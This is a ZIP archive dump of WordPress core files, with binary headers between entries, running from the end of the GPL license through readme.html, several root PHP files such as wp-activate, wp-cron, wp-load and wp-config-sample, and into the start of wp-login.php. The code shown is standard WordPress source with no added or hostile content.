DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. WRITTEN OFFER The source code for any program binaries or compressed scripts that are included with WordPress can be freely obtained at the following URL: https://wordpress.org/download/source/ PK Ig*[@ޖ readme.htmlnu �[��� <!DOCTYPE html> <html lang="en"> <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex,nofollow" /> <title>WordPress › ReadMe</title> <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" /> </head> <body> <h1 id="logo"> <a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a> </h1> <p style="text-align: center">Semantic Personal Publishing Platform</p> <h2>First Things First</h2> <p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I am proud to be a part of. Thousands of hours have gone into WordPress, and we are dedicated to making it better every day. Thank you for making it part of your world.</p> <p style="text-align: right">— Matt Mullenweg</p> <h2>Installation: Famous 5-minute install</h2> <ol> <li>Unzip the package in an empty directory and upload everything.</li> <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details. <ol> <li>If for some reason this does not work, do not worry. It may not work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li> <li>Save the file as <code>wp-config.php</code> and upload it.</li> <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li> </ol> </li> <li>Once the configuration file is set up, the installer will set up the tables needed for your site. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/forums/">WordPress support forums</a> with as much data as you can gather.</li> <li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li> <li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on “Profile” to change the password.</li> </ol> <h2>Updating</h2> <h3>Using the Automatic Updater</h3> <ol> <li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li> <li>You wanted more, perhaps? That’s it!</li> </ol> <h3>Updating Manually</h3> <ol> <li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li> <li>Delete your old WordPress files, saving ones you’ve modified.</li> <li>Upload the new files.</li> <li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li> </ol> <h2>Migrating from other systems</h2> <p>WordPress can <a href="https://developer.wordpress.org/advanced-administration/wordpress/import/">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php">our import tools</a>.</p> <h2>System Requirements</h2> <ul> <li><a href="https://www.php.net/">PHP</a> version <strong>7.2.24</strong> or greater.</li> <li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.5.5</strong> or greater.</li> </ul> <h3>Recommendations</h3> <ul> <li><a href="https://www.php.net/">PHP</a> version <strong>7.4</strong> or greater.</li> <li><a href="https://www.mysql.com/">MySQL</a> version <strong>8.0</strong> or greater OR <a href="https://mariadb.org/">MariaDB</a> version <strong>10.5</strong> or greater.</li> <li>The <a href="https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li> <li><a href="https://wordpress.org/news/2016/12/moving-toward-ssl/">HTTPS</a> support.</li> <li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li> </ul> <h2>Online Resources</h2> <p>If you have any questions that are not addressed in this document, please take advantage of WordPress’ numerous online resources:</p> <dl> <dt><a href="https://wordpress.org/documentation/">HelpHub</a></dt> <dd>HelpHub is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd> <dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt> <dd>This is where you’ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd> <dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt> <dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd> <dt><a href="https://wordpress.org/support/forums/">WordPress Support Forums</a></dt> <dd>If you’ve looked everywhere and still cannot find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd> <dt><a href="https://make.wordpress.org/support/handbook/appendix/other-support-locations/introduction-to-irc/">WordPress <abbr>IRC</abbr> (Internet Relay Chat) Channel</a></dt> <dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="https://web.libera.chat/#wordpress">irc.libera.chat #wordpress</a>)</dd> </dl> <h2>Final Notes</h2> <ul> <li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/forums/">Support Forums</a>.</li> <li>WordPress has a robust plugin <abbr>API</abbr> (Application Programming Interface) that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://developer.wordpress.org/plugins/">Plugin Developer Handbook</a>. You shouldn’t modify any of the core code.</li> </ul> <h2>Share the Love</h2> <p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgeable than yourself, or writing the author of a media article that overlooks us.</p> <p>WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/">donating</a>.</p> <h2>License</h2> <p>WordPress is free software, and is released under the terms of the <abbr>GPL</abbr> (GNU General Public License) version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p> </body> </html> PK Ig*[,a��� � wp-activate.phpnu �[��� <?php /** * Confirms that the activation key that is sent in an email after a user signs * up for a new site matches the key for that user and then displays confirmation. * * @package WordPress */ define( 'WP_INSTALLING', true ); /** Sets up the WordPress Environment. */ require __DIR__ . '/wp-load.php'; require __DIR__ . '/wp-blog-header.php'; if ( ! is_multisite() ) { wp_redirect( wp_registration_url() ); die(); } $valid_error_codes = array( 'already_active', 'blog_taken' ); list( $activate_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) ); $activate_cookie = 'wp-activate-' . COOKIEHASH; $key = ''; $result = null; if ( isset( $_GET['key'] ) && isset( $_POST['key'] ) && $_GET['key'] !== $_POST['key'] ) { wp_die( __( 'A key value mismatch has been detected. Please follow the link provided in your activation email.' ), __( 'An error occurred during the activation' ), 400 ); } elseif ( ! empty( $_GET['key'] ) ) { $key = $_GET['key']; } elseif ( ! empty( $_POST['key'] ) ) { $key = $_POST['key']; } if ( $key ) { $redirect_url = remove_query_arg( 'key' ); if ( remove_query_arg( false ) !== $redirect_url ) { setcookie( $activate_cookie, $key, 0, $activate_path, COOKIE_DOMAIN, is_ssl(), true ); wp_safe_redirect( $redirect_url ); exit; } else { $result = wpmu_activate_signup( $key ); } } if ( null === $result && isset( $_COOKIE[ $activate_cookie ] ) ) { $key = $_COOKIE[ $activate_cookie ]; $result = wpmu_activate_signup( $key ); setcookie( $activate_cookie, ' ', time() - YEAR_IN_SECONDS, $activate_path, COOKIE_DOMAIN, is_ssl(), true ); } if ( null === $result || ( is_wp_error( $result ) && 'invalid_key' === $result->get_error_code() ) ) { status_header( 404 ); } elseif ( is_wp_error( $result ) ) { $error_code = $result->get_error_code(); if ( ! in_array( $error_code, $valid_error_codes, true ) ) { status_header( 400 ); } } nocache_headers(); if ( is_object( $wp_object_cache ) ) { $wp_object_cache->cache_enabled = false; } // Fix for page title. $wp_query->is_404 = false; /** * Fires before the Site Activation page is loaded. * * @since 3.0.0 */ do_action( 'activate_header' ); /** * Adds an action hook specific to this page. * * Fires on {@see 'wp_head'}. * * @since MU (3.0.0) */ function do_activate_header() { /** * Fires within the `<head>` section of the Site Activation page. * * Fires on the {@see 'wp_head'} action. * * @since 3.0.0 */ do_action( 'activate_wp_head' ); } add_action( 'wp_head', 'do_activate_header' ); /** * Loads styles specific to this page. * * @since MU (3.0.0) */ function wpmu_activate_stylesheet() { ?> <style type="text/css"> .wp-activate-container { width: 90%; margin: 0 auto; } .wp-activate-container form { margin-top: 2em; } #submit, #key { width: 100%; font-size: 24px; box-sizing: border-box; } #language { margin-top: 0.5em; } .wp-activate-container .error { background: #f66; color: #333; } span.h3 { padding: 0 8px; font-size: 1.3em; font-weight: 600; } </style> <?php } add_action( 'wp_head', 'wpmu_activate_stylesheet' ); add_action( 'wp_head', 'wp_strict_cross_origin_referrer' ); add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); get_header( 'wp-activate' ); $blog_details = get_site(); ?> <div id="signup-content" class="widecolumn"> <div class="wp-activate-container"> <?php if ( ! $key ) { ?> <h2><?php _e( 'Activation Key Required' ); ?></h2> <form name="activateform" id="activateform" method="post" action="<?php echo esc_url( network_site_url( $blog_details->path . 'wp-activate.php' ) ); ?>"> <p> <label for="key"><?php _e( 'Activation Key:' ); ?></label> <br /><input type="text" name="key" id="key" value="" size="50" autofocus="autofocus" /> </p> <p class="submit"> <input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e( 'Activate' ); ?>" /> </p> </form> <?php } else { if ( is_wp_error( $result ) && in_array( $result->get_error_code(), $valid_error_codes, true ) ) { $signup = $result->get_error_data(); ?> <h2><?php _e( 'Your account is now active!' ); ?></h2> <?php echo '<p class="lead-in">'; if ( '' === $signup->domain . $signup->path ) { printf( /* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */ __( 'Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ), esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ), esc_html( $signup->user_login ), esc_html( $signup->user_email ), esc_url( wp_lostpassword_url() ) ); } else { printf( /* translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost password URL. */ __( 'Your site at %1$s is active. You may now log in to your site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ), sprintf( '<a href="http://%1$s">%1$s</a>', esc_url( $signup->domain . $blog_details->path ) ), esc_html( $signup->user_login ), esc_html( $signup->user_email ), esc_url( wp_lostpassword_url() ) ); } echo '</p>'; } elseif ( null === $result || is_wp_error( $result ) ) { ?> <h2><?php _e( 'An error occurred during the activation' ); ?></h2> <?php if ( is_wp_error( $result ) ) : ?> <p><?php echo esc_html( $result->get_error_message() ); ?></p> <?php endif; ?> <?php } else { $url = isset( $result['blog_id'] ) ? esc_url( get_home_url( (int) $result['blog_id'] ) ) : ''; $user = get_userdata( (int) $result['user_id'] ); ?> <h2><?php _e( 'Your account is now active!' ); ?></h2> <div id="signup-welcome"> <p><span class="h3"><?php _e( 'Username:' ); ?></span> <?php echo esc_html( $user->user_login ); ?></p> <p><span class="h3"><?php _e( 'Password:' ); ?></span> <?php echo esc_html( $result['password'] ); ?></p> </div> <?php if ( $url && network_home_url( '', 'http' ) !== $url ) : switch_to_blog( (int) $result['blog_id'] ); $login_url = wp_login_url(); restore_current_blog(); ?> <p class="view"> <?php /* translators: 1: Site URL, 2: Login URL. */ printf( __( 'Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>' ), esc_url( $url ), esc_url( $login_url ) ); ?> </p> <?php else : ?> <p class="view"> <?php printf( /* translators: 1: Login URL, 2: Network home URL. */ __( 'Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ), esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ), esc_url( network_home_url( $blog_details->path ) ) ); ?> </p> <?php endif; } } ?> </div> </div> <?php get_footer( 'wp-activate' ); PK Ig*['�j�_ _ wp-blog-header.phpnu �[��� <?php /** * Loads the WordPress environment and template. * * @package WordPress */ if ( ! isset( $wp_did_header ) ) { $wp_did_header = true; // Load the WordPress library. require_once __DIR__ . '/wp-load.php'; // Set up the WordPress query. wp(); // Load the theme template. require_once ABSPATH . WPINC . '/template-loader.php'; } PK Ig*[� � wp-comments-post.phpnu �[��� <?php /** * Handles Comment Post to WordPress and prevents duplicate comment posting. * * @package WordPress */ if ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { $protocol = $_SERVER['SERVER_PROTOCOL']; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) { $protocol = 'HTTP/1.0'; } header( 'Allow: POST' ); header( "$protocol 405 Method Not Allowed" ); header( 'Content-Type: text/plain' ); exit; } /** Sets up the WordPress Environment. */ require __DIR__ . '/wp-load.php'; nocache_headers(); $comment = wp_handle_comment_submission( wp_unslash( $_POST ) ); if ( is_wp_error( $comment ) ) { $data = (int) $comment->get_error_data(); if ( ! empty( $data ) ) { wp_die( '<p>' . $comment->get_error_message() . '</p>', __( 'Comment Submission Failure' ), array( 'response' => $data, 'back_link' => true, ) ); } else { exit; } } $user = wp_get_current_user(); $cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) ); /** * Fires after comment cookies are set. * * @since 3.4.0 * @since 4.9.6 The `$cookies_consent` parameter was added. * * @param WP_Comment $comment Comment object. * @param WP_User $user Comment author's user object. The user may not exist. * @param bool $cookies_consent Comment author's consent to store cookies. */ do_action( 'set_comment_cookies', $comment, $user, $cookies_consent ); $location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID; // If user didn't consent to cookies, add specific query arguments to display the awaiting moderation message. if ( ! $cookies_consent && 'unapproved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_author_email ) ) { $location = add_query_arg( array( 'unapproved' => $comment->comment_ID, 'moderation-hash' => wp_hash( $comment->comment_date_gmt ), ), $location ); } /** * Filters the location URI to send the commenter after posting. * * @since 2.0.5 * * @param string $location The 'redirect_to' URI sent via $_POST. * @param WP_Comment $comment Comment object. */ $location = apply_filters( 'comment_post_redirect', $location, $comment ); wp_safe_redirect( $location ); exit; PK Ig*[�H�� wp-config-sample.phpnu �[��� <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the website, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * Database settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/ * * @package WordPress */ // ** Database settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'database_name_here' ); /** Database username */ define( 'DB_USER', 'username_here' ); /** Database password */ define( 'DB_PASSWORD', 'password_here' ); /** Database hostname */ define( 'DB_HOST', 'localhost' ); /** Database charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' ); /** The database collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); /**#@+ * Authentication unique keys and salts. * * Change these to different unique phrases! You can generate these using * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}. * * You can change these at any point in time to invalidate all existing cookies. * This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'put your unique phrase here' ); define( 'SECURE_AUTH_KEY', 'put your unique phrase here' ); define( 'LOGGED_IN_KEY', 'put your unique phrase here' ); define( 'NONCE_KEY', 'put your unique phrase here' ); define( 'AUTH_SALT', 'put your unique phrase here' ); define( 'SECURE_AUTH_SALT', 'put your unique phrase here' ); define( 'LOGGED_IN_SALT', 'put your unique phrase here' ); define( 'NONCE_SALT', 'put your unique phrase here' ); /**#@-*/ /** * WordPress database table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! * * At the installation time, database tables are created with the specified prefix. * Changing this value after WordPress is installed will make your site think * it has not been installed. * * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/ */ define( 'WP_DEBUG', false ); /* Add any custom values between this line and the "stop editing" line. */ /* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php'; PK Ig*[�`�,� � wp-cron.phpnu �[��� <?php /** * A pseudo-cron daemon for scheduling WordPress tasks. * * WP-Cron is triggered when the site receives a visit. In the scenario * where a site may not receive enough visits to execute scheduled tasks * in a timely manner, this file can be called directly or via a server * cron daemon for X number of times. * * Defining DISABLE_WP_CRON as true and calling this file directly are * mutually exclusive and the latter does not rely on the former to work. * * The HTTP request to this file will not slow down the visitor who happens to * visit when a scheduled cron event runs. * * @package WordPress */ ignore_user_abort( true ); if ( ! headers_sent() ) { header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' ); header( 'Cache-Control: no-cache, must-revalidate, max-age=0' ); } // Don't run cron until the request finishes, if possible. if ( function_exists( 'fastcgi_finish_request' ) ) { fastcgi_finish_request(); } elseif ( function_exists( 'litespeed_finish_request' ) ) { litespeed_finish_request(); } if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) { die(); } /** * Tell WordPress the cron task is running. * * @var bool */ define( 'DOING_CRON', true ); if ( ! defined( 'ABSPATH' ) ) { /** Set up WordPress environment */ require_once __DIR__ . '/wp-load.php'; } // Attempt to raise the PHP memory limit for cron event processing. wp_raise_memory_limit( 'cron' ); /** * Retrieves the cron lock. * * Returns the uncached `doing_cron` transient. * * @ignore * @since 3.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return string|int|false Value of the `doing_cron` transient, 0|false otherwise. */ function _get_cron_lock() { global $wpdb; $value = 0; if ( wp_using_ext_object_cache() ) { /* * Skip local cache and force re-fetch of doing_cron transient * in case another process updated the cache. */ $value = wp_cache_get( 'doing_cron', 'transient', true ); } else { $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) ); if ( is_object( $row ) ) { $value = $row->option_value; } } return $value; } $crons = wp_get_ready_cron_jobs(); if ( empty( $crons ) ) { die(); } $gmt_time = microtime( true ); // The cron lock: a unix timestamp from when the cron was spawned. $doing_cron_transient = get_transient( 'doing_cron' ); // Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock. if ( empty( $doing_wp_cron ) ) { if ( empty( $_GET['doing_wp_cron'] ) ) { // Called from external script/job. Try setting a lock. if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) { return; } $doing_wp_cron = sprintf( '%.22F', microtime( true ) ); $doing_cron_transient = $doing_wp_cron; set_transient( 'doing_cron', $doing_wp_cron ); } else { $doing_wp_cron = $_GET['doing_wp_cron']; } } /* * The cron lock (a unix timestamp set when the cron was spawned), * must match $doing_wp_cron (the "key"). */ if ( $doing_cron_transient !== $doing_wp_cron ) { return; } foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) { break; } foreach ( $cronhooks as $hook => $keys ) { foreach ( $keys as $k => $v ) { $schedule = $v['schedule']; if ( $schedule ) { $result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true ); if ( is_wp_error( $result ) ) { error_log( sprintf( /* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */ __( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ), $hook, $result->get_error_code(), $result->get_error_message(), wp_json_encode( $v ) ) ); /** * Fires if an error happens when rescheduling a cron event. * * @since 6.1.0 * * @param WP_Error $result The WP_Error object. * @param string $hook Action hook to execute when the event is run. * @param array $v Event data. */ do_action( 'cron_reschedule_event_error', $result, $hook, $v ); } } $result = wp_unschedule_event( $timestamp, $hook, $v['args'], true ); if ( is_wp_error( $result ) ) { error_log( sprintf( /* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */ __( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ), $hook, $result->get_error_code(), $result->get_error_message(), wp_json_encode( $v ) ) ); /** * Fires if an error happens when unscheduling a cron event. * * @since 6.1.0 * * @param WP_Error $result The WP_Error object. * @param string $hook Action hook to execute when the event is run. * @param array $v Event data. */ do_action( 'cron_unschedule_event_error', $result, $hook, $v ); } /** * Fires scheduled events. * * @ignore * @since 2.1.0 * * @param string $hook Name of the hook that was scheduled to be fired. * @param array $args The arguments to be passed to the hook. */ do_action_ref_array( $hook, $v['args'] ); // If the hook ran too long and another cron process stole the lock, quit. if ( _get_cron_lock() !== $doing_wp_cron ) { return; } } } } if ( _get_cron_lock() === $doing_wp_cron ) { delete_transient( 'doing_cron' ); } die(); PK Ig*[��L%� � wp-links-opml.phpnu �[��� <?php /** * Outputs the OPML XML format for getting the links defined in the link * administration. This can be used to export links from one blog over to * another. Links aren't exported by the WordPress export, so this file handles * that. * * This file is not added by default to WordPress theme pages when outputting * feed links. It will have to be added manually for browsers and users to pick * up that this file exists. * * @package WordPress */ require_once __DIR__ . '/wp-load.php'; header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true ); $link_cat = ''; if ( ! empty( $_GET['link_cat'] ) ) { $link_cat = $_GET['link_cat']; if ( ! in_array( $link_cat, array( 'all', '0' ), true ) ) { $link_cat = absint( (string) urldecode( $link_cat ) ); } } echo '<?xml version="1.0"?' . ">\n"; ?> <opml version="1.0"> <head> <title> <?php /* translators: %s: Site title. */ printf( __( 'Links for %s' ), esc_attr( get_bloginfo( 'name', 'display' ) ) ); ?> </title> <dateCreated><?php echo gmdate( 'D, d M Y H:i:s' ); ?> GMT</dateCreated> <?php /** * Fires in the OPML header. * * @since 3.0.0 */ do_action( 'opml_head' ); ?> </head> <body> <?php if ( empty( $link_cat ) ) { $cats = get_categories( array( 'taxonomy' => 'link_category', 'hierarchical' => 0, ) ); } else { $cats = get_categories( array( 'taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat, ) ); } foreach ( (array) $cats as $cat ) : /** This filter is documented in wp-includes/bookmark-template.php */ $catname = apply_filters( 'link_category', $cat->name ); ?> <outline type="category" title="<?php echo esc_attr( $catname ); ?>"> <?php $bookmarks = get_bookmarks( array( 'category' => $cat->term_id ) ); foreach ( (array) $bookmarks as $bookmark ) : /** * Filters the OPML outline link title text. * * @since 2.2.0 * * @param string $title The OPML outline title text. */ $title = apply_filters( 'link_title', $bookmark->link_name ); ?> <outline text="<?php echo esc_attr( $title ); ?>" type="link" xmlUrl="<?php echo esc_url( $bookmark->link_rss ); ?>" htmlUrl="<?php echo esc_url( $bookmark->link_url ); ?>" updated=" <?php if ( '0000-00-00 00:00:00' !== $bookmark->link_updated ) { echo $bookmark->link_updated; } ?> " /> <?php endforeach; // $bookmarks ?> </outline> <?php endforeach; // $cats ?> </body> </opml> PK Ig*[.�0a a wp-load.phpnu �[��� <?php /** * Bootstrap file for setting the ABSPATH constant * and loading the wp-config.php file. The wp-config.php * file will then load the wp-settings.php file, which * will then set up the WordPress environment. * * If the wp-config.php file is not found then an error * will be displayed asking the visitor to set up the * wp-config.php file. * * Will also search for wp-config.php in WordPress' parent * directory to allow the WordPress directory to remain * untouched. * * @package WordPress */ /** Define ABSPATH as this file's directory */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /* * The error_reporting() function can be disabled in php.ini. On systems where that is the case, * it's best to add a dummy function to the wp-config.php file, but as this call to the function * is run prior to wp-config.php loading, it is wrapped in a function_exists() check. */ if ( function_exists( 'error_reporting' ) ) { /* * Initialize error reporting to a known set of levels. * * This will be adapted in wp_debug_mode() located in wp-includes/load.php based on WP_DEBUG. * @see https://www.php.net/manual/en/errorfunc.constants.php List of known error levels. */ error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } /* * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a) * and /blog/ is WordPress(b). * * If neither set of conditions is true, initiate loading the setup process. */ if ( file_exists( ABSPATH . 'wp-config.php' ) ) { /** The config file resides in ABSPATH */ require_once ABSPATH . 'wp-config.php'; } elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) { /** The config file resides one level above ABSPATH but is not part of another installation */ require_once dirname( ABSPATH ) . '/wp-config.php'; } else { // A config file doesn't exist. define( 'WPINC', 'wp-includes' ); require_once ABSPATH . WPINC . '/version.php'; require_once ABSPATH . WPINC . '/compat.php'; require_once ABSPATH . WPINC . '/load.php'; // Check for the required PHP version and for the MySQL extension or a database drop-in. wp_check_php_mysql_versions(); // Standardize $_SERVER variables across setups. wp_fix_server_vars(); define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); require_once ABSPATH . WPINC . '/functions.php'; $path = wp_guess_url() . '/wp-admin/setup-config.php'; // Redirect to setup-config.php. if ( ! str_contains( $_SERVER['REQUEST_URI'], 'setup-config' ) ) { header( 'Location: ' . $path ); exit; } wp_load_translations_early(); // Die with an error message. $die = '<p>' . sprintf( /* translators: %s: wp-config.php */ __( "There doesn't seem to be a %s file. It is needed before the installation can continue." ), '<code>wp-config.php</code>' ) . '</p>'; $die .= '<p>' . sprintf( /* translators: 1: Documentation URL, 2: wp-config.php */ __( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/wp-config/' ), '<code>wp-config.php</code>' ) . '</p>'; $die .= '<p>' . sprintf( /* translators: %s: wp-config.php */ __( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ), '<code>wp-config.php</code>' ) . '</p>'; $die .= '<p><a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a></p>'; wp_die( $die, __( 'WordPress › Error' ) ); } PK Ig*[�ѵ��� �� wp-login.phpnu �[��� <?php /** * WordPress User Page * * Handles authentication, registering, resetting passwords, forgot password, * and other user handling. * * @package WordPress */ /** Make sure that the WordPress bootstrap has run before continuing. */ require __DIR__ . '/wp-load.php'; // Redirect to HTTPS login if forced to use SSL. if ( force_ssl_admin() && ! is_ssl() ) { if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) ); exit; } else { wp_safe_redirect( 'https://' . 